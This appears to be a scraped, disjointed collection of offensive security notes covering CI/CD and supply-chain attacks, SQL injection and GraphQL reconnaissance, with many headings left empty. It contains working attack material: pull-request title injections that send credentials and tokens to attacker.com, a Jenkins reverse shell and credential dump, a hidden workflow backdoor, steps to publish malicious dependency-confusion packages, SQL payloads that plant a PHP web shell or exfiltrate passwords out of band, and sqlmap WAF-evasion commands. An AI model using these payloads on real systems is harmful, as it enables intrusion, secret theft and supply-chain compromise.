    https://192.10.10.2?.192.10.10.3/
    https://192.10.10.2\.192.10.10.3/
    https://192.10.10.3/
    https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
    <?php
    header('Location: http://127.0.0.1:8080/status');
    ?>
    
    # Tool
    # https://h.43z.one/ipconverter/
    CI/CD systems are high-value targets because they:
    - Have access to source code
    - Store secrets (API keys, credentials)
    - Can deploy to production
    - Often have elevated cloud permissions
    - Trust code from repositories
    Logo

    Build pipelines

    Code execution, secrets

    Malicious Packages

    Package registries

    Supply chain compromise

    Compromised Maintainer

    Open source projects

    Backdoors

    Build System Compromise

    Build servers

    Signed malware

    OWASP Top 10 CI/CD Security Risksarrow-up-right

    Dependency Confusion

    Private packages

    Code execution

    Typosquatting

    Developers

    Credential theft

    Dependency Confusion Researcharrow-up-right
    Backstabber's Knife Collectionarrow-up-right
    CI/CD Goat - Vulnerable Pipelinearrow-up-right
    SLSA - Supply Chain Security Frameworkarrow-up-right

    CI/CD Injection

    GitLab
    Supply Chain
    Cloud
    # 1. Find private package names
    # Look in package.json, requirements.txt, pom.xml, etc.
    # Check JavaScript source for import statements
    grep -r "require\|import" --include="*.js" .
    
    # 2. Check if package exists on public registry
    npm view private-package-name
    pip index versions private-package-name
    
    # 3. Create malicious package with higher version
    # npm
    npm init
    # Set version higher than internal (e.g., 99.0.0)
    npm publish
    
    # pip
    # Create setup.py with higher version
    python setup.py sdist
    twine upload dist/*
    # Check for dependency confusion vulnerability
    # https://github.com/visma-prodsec/confused
    confused -l npm package.json
    
    # https://github.com/AyoubAbeworworki/dep-confusion-detect
    python3 dep-confusion-detect.py -r requirements.txt
    # Typo patterns to check:
    # - Missing characters: reqests (requests)
    # - Extra characters: requestss
    # - Character swap: requetss
    # - Similar looking: requestz, request5
    # - Wrong TLD: lodash-npm (vs lodash)
    
    # Generate typosquat candidates
    # https://github.com/elfmaster/typosquatting
    ./typosquat.py express
    
    # Check npm
    for pkg in expres expresss exprss; do npm view $pkg 2>/dev/null && echo "EXISTS: $pkg"; done
    
    # Check PyPI
    for pkg in reqests requsets requets; do pip index versions $pkg 2>/dev/null && echo "EXISTS: $pkg"; done
    # Search for common typos in target's dependencies
    # Look for:
    # - Misspelled package names
    # - Packages with low download counts
    # - Recently published packages claiming to be popular
    
    # NPM package analysis
    npm audit
    npm ls --all
    
    # Python
    pip-audit
    safety check -r requirements.txt
    
    # Snyk for comprehensive scanning
    snyk test
    # Vulnerable workflow - using untrusted input
    name: Vulnerable Workflow
    on:
      pull_request_target:
    jobs:
      build:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v3
            with:
              ref: ${{ github.event.pull_request.head.ref }}  # Dangerous!
          - run: |
              echo "PR Title: ${{ github.event.pull_request.title }}"  # Injection!
    # Pwn Request - exploit pull_request_target
    # Create PR with malicious title:
    # $(curl http://attacker.com/$(cat /home/runner/.git/credentials | base64))
    
    # Inject into workflow
    # PR title: test"; curl http://attacker.com/pwned #
    
    # Secrets exfiltration via workflow
    # Add to PR body/title:
    # ${{ secrets.GITHUB_TOKEN }}
    # Check for exposed CI variables
    # .gitlab-ci.yml
    variables:
      DEBUG: "true"
      # Secrets might be exposed in logs
    
    script:
      - echo $CI_JOB_TOKEN  # Can be used for registry access
      - env  # Dumps all variables including secrets
    # Check for exposed Jenkins instances
    # Common endpoints:
    /script
    /scriptText
    /computer/(master)/script
    
    # Groovy console RCE
    def cmd = "cat /etc/passwd"
    def sout = new StringBuffer(), serr = new StringBuffer()
    def proc = cmd.execute()
    proc.consumeProcessOutput(sout, serr)
    proc.waitForOrKill(1000)
    println sout
    
    # Credential dumping
    def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
        com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
        Jenkins.instance,
        null,
        null
    )
    for (c in creds) {
        println(c.id + ": " + c.username + " / " + c.password)
    }
    # Check package for malicious scripts
    npm pack <package-name>
    tar -xzf package-name-*.tgz
    cat package/package.json | jq '.scripts'
    
    # Look for suspicious install scripts:
    # - preinstall, install, postinstall
    # - preuninstall, uninstall, postuninstall
    
    # Check package history
    npm view <package-name> versions
    npm view <package-name>@<version> dist.tarball
    
    # Audit for known vulnerabilities
    npm audit
    npm audit --json
    # Download and inspect package
    pip download <package-name> --no-deps
    unzip <package>.whl -d extracted/
    
    # Check setup.py for malicious code
    cat extracted/setup.py
    
    # Look for:
    # - os.system(), subprocess calls
    # - Encoded/obfuscated strings
    # - Network requests during install
    # - File system modifications
    
    # Safety check
    safety check -r requirements.txt
    pip-audit
    <!-- Check pom.xml for suspicious plugins -->
    <!-- Look for exec-maven-plugin, build-helper-maven-plugin with suspicious configs -->
    
    <!-- Verify package signatures -->
    <!-- Check .asc files against GPG keys -->
    # Software Composition Analysis (SCA)
    # Snyk
    snyk test
    
    # OWASP Dependency-Check
    dependency-check --project "MyApp" --scan .
    
    # npm
    npm audit
    
    # pip
    pip-audit
    safety check
    
    # Go
    go list -json -m all | nancy sleuth
    
    # Trivy (containers and filesystems)
    trivy fs .
    trivy image myapp:latest
    # Check for known CVEs in dependencies
    # https://nvd.nist.gov/
    # https://security.snyk.io/
    # https://github.com/advisories
    
    # Search for PoCs
    # GitHub: "CVE-XXXX-XXXX poc"
    # Exploit-DB: searchsploit <library-name>
    
    # Check dependency versions
    npm ls
    pip list
    mvn dependency:tree
    # Search for secrets in git history
    # https://github.com/trufflesecurity/trufflehog
    trufflehog git https://github.com/target/repo
    
    # https://github.com/zricethezav/gitleaks
    gitleaks detect -s /path/to/repo
    
    # GitHub dorking
    # Search for accidentally committed secrets
    site:github.com "target.com" password
    site:github.com "target.com" api_key
    site:github.com "target.com" AWS_SECRET
    # Check if repo requires signed commits
    git log --show-signature
    
    # Unsigned commits might be accepted
    # Impersonate commits by setting user.email
    git config user.email "[email protected]"
    git commit -m "Malicious commit"
    # Check if org is vulnerable to dependency confusion
    # 1. Enumerate private package names from leaked files
    # 2. Check if those names are unclaimed on public registries
    # 3. Report or (if in scope) demonstrate with benign package
    
    # Check for exposed CI/CD
    # GitHub Actions: /.github/workflows/
    # GitLab CI: /.gitlab-ci.yml
    # Jenkins: /Jenkinsfile
    # Lock dependencies to specific versions
    # Use lockfiles: package-lock.json, Pipfile.lock, go.sum
    
    # Enable dependency scanning in CI/CD
    # Use private registry with namespace reservation
    # Implement Sigstore/cosign for package signing
    # Enable GitHub secret scanning
    # Dependency Confusion
    # https://github.com/visma-prodsec/confused
    confused -l npm package.json
    
    # Secret Scanning
    # https://github.com/trufflesecurity/trufflehog
    trufflehog git https://github.com/target/repo
    
    # https://github.com/zricethezav/gitleaks
    gitleaks detect -s /path/to/repo
    
    # Software Composition Analysis
    # https://github.com/anchore/syft
    syft /path/to/project
    
    # https://github.com/anchore/grype
    grype /path/to/project
    
    # CI/CD Security
    # https://github.com/Checkmarx/kics
    kics scan -p /path/to/.github/workflows
    # Secrets accessible via ${{ secrets.NAME }}
    # Check for exposed secrets in logs
    
    steps:
      - name: Expose secrets (malicious)
        run: |
          echo "${{ secrets.AWS_ACCESS_KEY }}" | base64
          env | base64
          cat $GITHUB_ENV
    # If workflow uses untrusted input in run: commands
    # Example: PR title injection
    
    name: Vulnerable Workflow
    on:
      pull_request:
        types: [opened]
    
    jobs:
      greet:
        runs-on: ubuntu-latest
        steps:
          - run: |
              echo "PR Title: ${{ github.event.pull_request.title }}"
              # Attacker sets PR title to: "; curl attacker.com/steal?token=$GITHUB_TOKEN"
    # GITHUB_TOKEN has repo access by default
    # Can be used for:
    # - Push to repo (if not protected)
    # - Create issues/PRs
    # - Access private packages
    # - Read other private repos (in org)
    
    # Check permissions
    curl -H "Authorization: token $GITHUB_TOKEN" \
      https://api.github.com/repos/owner/repo
    
    # Exfiltrate repo content
    git clone https://x-access-token:${GITHUB_TOKEN}@github.com/org/private-repo.git
    # Self-hosted runners may have:
    # - Access to internal network
    # - Cached credentials
    # - Persistent storage between jobs
    
    steps:
      - name: Explore runner
        run: |
          # Check for cached credentials
          find /home -name "*.pem" -o -name "credentials" 2>/dev/null
          cat ~/.aws/credentials
          cat ~/.docker/config.json
          
          # Network enumeration
          ip addr
          cat /etc/hosts
          nmap -sn 10.0.0.0/24
    Direct PPE: Attacker modifies workflow file
    Indirect PPE: Attacker modifies code that workflow executes
    
    Attack vectors:
    1. Compromised PR from fork
    2. Compromised dependency
    3. Injected build scripts
    # .gitlab-ci.yml
    stages:
      - exploit
    
    dump_vars:
      stage: exploit
      script:
        - printenv | base64
        - cat $CI_PROJECT_DIR/.gitlab-ci.yml
        - echo $CI_JOB_TOKEN
    # CI_JOB_TOKEN can:
    # - Clone repos in same group
    # - Push to container registry
    # - Access package registry
    
    # Clone private repo
    git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/group/private-repo.git
    
    # Push to registry
    docker login -u gitlab-ci-token -p $CI_JOB_TOKEN registry.gitlab.com
    docker push registry.gitlab.com/group/project/image:tag
    # Protected variables only available on protected branches
    # Test from unprotected branch to see what's accessible
    
    test:
      script:
        - echo "Protected var: $PROD_API_KEY"  # May be empty
        - echo "Unprotected var: $DEV_API_KEY"  # Accessible
    // If you have access to /script console
    // Full Groovy execution
    
    def cmd = "id"
    def sout = new StringBuffer(), serr = new StringBuffer()
    def proc = cmd.execute()
    proc.consumeProcessOutput(sout, serr)
    proc.waitForOrKill(1000)
    println "out> $sout\nerr> $serr"
    
    // Reverse shell
    def cmd = ["/bin/bash", "-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
    cmd.execute()
    // Dump all credentials from Jenkins
    import jenkins.model.*
    import com.cloudbees.plugins.credentials.*
    import com.cloudbees.plugins.credentials.impl.*
    
    def creds = CredentialsProvider.lookupCredentials(
        com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
        Jenkins.instance,
        null,
        null
    )
    
    for (c in creds) {
        println(c.id + ": " + c.username + " / " + c.password)
    }
    // Secrets may leak in build logs
    pipeline {
        agent any
        environment {
            SECRET = credentials('secret-id')
        }
        stages {
            stage('Build') {
                steps {
                    // This may print masked secret
                    sh 'echo $SECRET'
                    // This may leak it
                    sh 'printenv | grep -i secret'
                }
            }
        }
    }
    # Jenkins CLI arbitrary file read
    # Affects Jenkins < 2.442, LTS < 2.426.3
    
    java -jar jenkins-cli.jar -s http://jenkins:8080/ help '@/etc/passwd'
    
    # Or via HTTP
    curl 'http://jenkins:8080/cli?remoting=false' \
      -d '<jenkins><arg>help</arg><arg>@/etc/passwd</arg></jenkins>'
    # azure-pipelines.yml
    variables:
      - group: production-secrets  # Links variable group
    
    steps:
      - script: |
          echo "$(PROD_PASSWORD)"  # Access secrets
        displayName: 'Access secrets'
    # If pipeline has access to service connections
    # Can deploy/access cloud resources
    
    - task: AzureCLI@2
      inputs:
        azureSubscription: 'Production'
        scriptType: 'bash'
        scriptLocation: 'inlineScript'
        inlineScript: |
          az account show
          az keyvault secret list --vault-name prod-vault
    # Self-hosted agents may have cached credentials
    steps:
      - script: |
          cat ~/.azure/credentials
          cat ~/.kube/config
          env | grep -i azure
    # Register internal package names on public registry
    # When CI runs `npm install`, it may fetch malicious public package
    
    # Check for vulnerable packages
    # 1. Find internal package names (package.json, requirements.txt)
    # 2. Check if name exists on public registry
    # 3. If not, register it with malicious code
    # If build cache is shared between projects
    # Poisoned cache can inject malicious artifacts
    
    # Example: npm cache poisoning
    - name: Setup Node with cache
      uses: actions/setup-node@v3
      with:
        cache: 'npm'  # Shared cache may be poisoned
    # Push malicious image to internal registry
    # If CI pulls by tag (not digest), can be replaced
    
    # Push malicious image
    docker tag malicious:latest registry.internal.com/app:v1.0
    docker push registry.internal.com/app:v1.0
    
    # CI job pulls compromised image
    docker pull registry.internal.com/app:v1.0
    # From compromised CI runner:
    
    # Find other repos/projects
    curl -H "Authorization: token $GITHUB_TOKEN" \
      "https://api.github.com/orgs/company/repos?type=all"
    
    # Access cloud resources
    aws sts get-caller-identity
    az account list
    gcloud projects list
    
    # Pivot to internal services
    nmap -sn 10.0.0.0/24
    curl http://internal-service.local/
    # Add backdoor to workflow
    # Hidden in test or setup step
    
    - name: Setup environment
      run: |
        # Legitimate setup
        npm install
        
        # Hidden backdoor
        curl -s https://attacker.com/beacon?repo=$GITHUB_REPOSITORY &
    Monitor for:
    1. Unusual secrets access patterns
    2. Modified workflow files
    3. New self-hosted runners
    4. Unexpected network connections from runners
    5. Build artifact changes
    6. Service connection usage spikes
    # CI/CD attack tools
    
    # nord-stream - GitLab/GitHub secrets extraction
    https://github.com/AhmedMohamedDev/nord-stream
    
    # Gato - GitHub attack toolkit
    https://github.com/AhmedMohamedDev/gato
    
    # pwn-pipeline - Pipeline exploitation
    https://github.com/AhmedMohamedDev/pwn-pipeline
    
    # Nuclei CI/CD templates
    nuclei -t http/exposures/configs/jenkins-config.yaml
    - API-specific injection vectors
  • WAF Bypass - Bypassing web application firewalls

  • Command Injection
    NoSQL Injection
    Web Exploits
    API Security
    Web application firewalls bypasses collection and testing tools – How to test, evaluate, compare, and bypass web application and API security solutions like WAF, NGWAF, RASP, and WAAPwaf-bypass.comchevron-right
    XXE Injection: Advanced Exploitation GuideIntigritichevron-right

    GraphQL Deep Dive

    Skill Level: Intermediate to Advanced Prerequisites: GraphQL basics, API testing

    hashtag
    Reconnaissance

    hashtag
    Endpoint Discovery

    hashtag
    Introspection Query

    hashtag
    Tools for Discovery

    hashtag
    Authentication Bypass

    hashtag
    Bypass Introspection Restrictions

    hashtag
    Authorization Flaws

    hashtag
    Injection Attacks

    hashtag
    SQL Injection

    hashtag
    NoSQL Injection

    hashtag
    OS Command Injection

    hashtag
    Batching Attacks

    hashtag
    Query Batching for Brute Force

    hashtag
    OTP/2FA Bypass via Batching

    hashtag
    Denial of Service

    hashtag
    Recursive Query (Circular References)

    hashtag
    Field Duplication

    hashtag
    Batch Query DoS

    hashtag
    Directive Overloading

    hashtag
    SSRF via GraphQL

    hashtag
    File Upload Attacks

    hashtag
    Subscriptions Attacks

    hashtag
    WebSocket Hijacking

    hashtag
    Tools & Automation

    hashtag
    GraphQL-specific Tools

    hashtag
    Burp Suite Integration

    hashtag
    Defense Bypass Techniques

    hashtag
    Rate Limiting Bypass

    hashtag
    WAF Bypass

    hashtag
    Checklist

    hashtag
    Related Topics

    • - REST/gRPC testing

    • - Server-side request forgery

    • - Database attacks

    Sharepoint

    Microsoft SharePoint security testing - enumeration, API misconfigurations, and exploitation.

    hashtag
    Enumeration

    hashtag
    Discovery

    hashtag
    User Enumeration

    hashtag
    List Enumeration

    hashtag
    API Misconfigurations

    hashtag
    Exposed REST API

    hashtag
    Permission Issues

    hashtag
    OData Query Exploitation

    hashtag
    Common Vulnerabilities

    hashtag
    CVE-2019-0604 (RCE)

    hashtag
    CVE-2020-0646 (RCE via .NET)

    hashtag
    CVE-2020-16952 (RCE)

    hashtag
    CVE-2023-29357 (Privilege Escalation)

    hashtag
    File Access

    hashtag
    Direct File Access

    hashtag
    Exposed Directories

    hashtag
    Authentication Attacks

    hashtag
    NTLM Relay

    hashtag
    Forms Authentication

    hashtag
    Tools

    hashtag
    References

    hashtag
    Related Topics

    • - SharePoint often integrated with AD

    • - SharePoint endpoints can be SSRF targets

    CSRF

    hashtag
    Summary

    circle-info

    Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.

    OAuth/PKCE Attacks

    Skill Level: Intermediate to Advanced Prerequisites: OAuth flows understanding, HTTP basics

    hashtag
    OAuth Flow Overview

    hashtag

    GitHub - cipher387/Dorks-collections-list: List of Github repositories and articles with list of dorks for different search enginesGitHubchevron-right
    # Test parameter for SQLi
    curl "https://target.com/page?id=1'"
    
    # Expected vulnerable response:
    # - SQL error message
    # - Different page content
    # - 500 Internal Server Error
    
    # Example MySQL error:
    # You have an error in your SQL syntax; check the manual that corresponds 
    # to your MySQL server version for the right syntax to use near ''' at line 1
    
    # Example MSSQL error:
    # Unclosed quotation mark after the character string
    
    # Example PostgreSQL error:
    # ERROR: unterminated quoted string at or near "'"
    /?q=1
    /?q=1'
    /?q=1"
    /?q=[1]
    /?q[]=1
    /?q=1`
    /?q=1\
    /?q=1/*'*/
    /?q=1/*!1111'*/
    /?q=1'||'asd'||'   <== concat string
    /?q=1' or '1'='1
    /?q=1 or 1=1
    /?q='or''='
    /?q=(1)or(0)=(1)
    
    # Useful payloads
    ' WAITFOR DELAY '0:0:5'--
    ';WAITFOR DELAY '0:0:5'-- 
    ')) or sleep(5)='
    ;waitfor delay '0:0:5'--
    );waitfor delay '0:0:5'--
    ';waitfor delay '0:0:5'--
    ";waitfor delay '0:0:5'--
    ');waitfor delay '0:0:5'--
    ");waitfor delay '0:0:5'--
    ));waitfor delay '0:0:5'--
    ', ",'),"), (),., * /, <! -, -
    SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
    IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
    # MySQL:
    http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
    https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
    
    # MSQQL:
    http://evilsql.com/main/page2.php
    http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
    
    # ORACLE:
    http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
    
    # POSTGRESQL:
    http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
    
    # Others
    http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
    http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet
    http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet
    http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet
    https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
    http://rails-sqli.org/
    https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
    # Read file
    UNION SELECT LOAD_FILE ("etc/passwd")-- 
    
    # Write a file
    UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php"-
    # Conditional Responses
    
    # Request with:
    Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
    
        In the DDBB it does:
        SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' - If exists, show content or “Welcome back”
    
    # To detect:
    TrackingId=x'+OR+1=1-- OK
    TrackingId=x'+OR+1=2-- KO
    # User admin exist
    TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- OK
    # Password length
    TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1--
    
    # So, in the cookie header if first letter of password is greater than ‘m’, or ‘t’ or equal to ‘s’ response will be ok.
    
    xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
    xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--
    xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--
    z'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,6,1)='§a§'--
    
    # Force conditional responses
    
    TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS ERROR IF OK
    TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS NORMALLY IF KO
    TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,3,1)='§a§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;
    
    # Time delays
    TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
    TrackingId=x'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
    TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--
    TrackingId=x'||pg_sleep(10)--
    TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
    TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    # Out-of-Band OAST (Collaborator)
    Asynchronous response
    
    # Confirm:
    TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
    
    # Exfil:
    TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
    TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
    # A second-order SQL Injection, on the other hand, is a vulnerability exploitable in two different steps:
    1. Firstly, we STORE a particular user-supplied input value in the DB and
    2. Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application.
    
    # Example payload:
    X' UNION SELECT user(),version(),database(), 4 --
    X' UNION SELECT 1,2,3,4 --
    
    # For example, in a password reset query with user "User123' --":
    
    $pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123' — ' and password='UserPass@123'");
    
    # Will be:
    
    $pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123'");
    
    # So you don't need to know the password.
    
    - User = ' or 'asd'='asd it will return always true
    - User = admin'-- probably not check the password
    # Post
    sqlmap -r search-test.txt -p tfUPass
    
    # Get
    sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql
    
    # Crawl
    sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3
    
    # Full auto - FORMS
    sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
    # Columns 
    sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin
    # Values
    sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin
    
    sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords
    
    # SQLMAP WAF bypass
    
    sqlmap --level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs
    sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs
    sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs
    sqlmap -v3 --technique=T --no-cast --fresh-queries --banner
    sqlmap -u http://www.example.com/index?id=1 --level 2 --risk 3 --batch --dbs
    
    
    sqlmap -f -b --current-user --current-db --is-dba --users --dbs
    sqlmap --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
    sqlmap --risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbs
    sqlmap --random-agent --dbms=MYSQL --dbs --technique=B"
    sqlmap --identify-waf --random-agent -v 3 --dbs
    
    1 : --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
    2 : --parse-errors -v 3 --current-user --is-dba --banner -D eeaco_gm -T #__tabulizer_user_preferences --column --random-agent --level=5 --risk=3
    
    sqlmap --threads=10 --dbms=MYSQL --tamper=apostrophemask --technique=E -D joomlab -T anz91_session -C session_id --dump
    sqlmap --tables -D miss_db --is-dba --threads="10" --time-sec=10 --timeout=5 --no-cast --tamper=between,modsecurityversioned,modsecurityzeroversioned,charencode,greatest --identify-waf --random-agent
    sqlmap -u http://192.168.0.107/test.php?id=1 -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py"
    sqlmap --banner --safe-url=2 --safe-freq=3 --tamper=between,randomcase,charencode -v 3 --force-ssl --dbs --threads=10 --level=2 --risk=2
    sqlmap -v3 --dbms="MySQL" --risk=3 --level=3 --technique=BU --tamper="space2mysqlblank.py" --random-agent -D damksa_abr -T admin,jobadmin,member --colu
    
    sqlmap --wizard
    sqlmap --level=5 --risk=3 --random-agent --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
    sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --dbms=mssql
    sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
    
    # Tamper suggester
    https://github.com/m4ll0k/Atlas
    
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" --tables
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" --columns
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" -C "ud,email,usuario,contra" --dump
    # Tamper list
    between.py,charencode.py,charunicodeencode.py,equaltolike.py,greatest.py,multiplespaces.py,nonrecursivereplacement.py,percent
    # Common SharePoint URLs to check
    /_layouts/15/viewlsts.aspx
    /_layouts/15/settings.aspx
    /_api/web/lists
    /_api/web/webs
    /_api/web/siteusers
    /_api/web/currentuser
    /_vti_bin/client.svc
    /_vti_bin/spdisco.aspx
    /sites/
    /_catalogs/
    
    # Check version
    /_api/web/
    # Look for "MajorVersion" and "MinorVersion" in response
    
    # SharePoint Online detection
    /_layouts/15/authenticate.aspx
    /personal/  # OneDrive personal sites
    Logo
    API Security
    SSRF
    SQL Injection
    The Lone SharePointarrow-up-right
    SharePoint API Misconfigurationsarrow-up-right
    Windows AD
    SSRF
    # Common GraphQL endpoints
    /graphql
    /graphql/console
    /graphql/api
    /graphql/graphql
    /graphiql
    /graphiql.php
    /graphiql.js
    /graphql.php
    /graphql/schema.json
    /v1/graphql
    /api/graphql
    /query
    /gql
    /playground
    
    # Nuclei template
    nuclei -u https://target.com -t graphql-detect.yaml
    # Full introspection query
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}'
    
    # Quick schema dump
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{ __schema { types { name fields { name } } } }"}'
    
    # Get all queries
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{ __schema { queryType { fields { name description } } } }"}'
    
    # Get all mutations
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{ __schema { mutationType { fields { name description } } } }"}'
    # GraphQL Voyager - Schema visualization
    # https://github.com/APIs-guru/graphql-voyager
    
    # graphql-cop - Security auditor
    # https://github.com/dolevf/graphql-cop
    python graphql-cop.py -t https://target.com/graphql
    
    # InQL - Burp extension & CLI
    # https://github.com/doyensec/inern
    inql -t https://target.com/graphql
    
    # graphw00f - Fingerprinting
    # https://github.com/dolevf/graphw00f
    python main.py -d -t https://target.com/graphql
    # Try GET requests
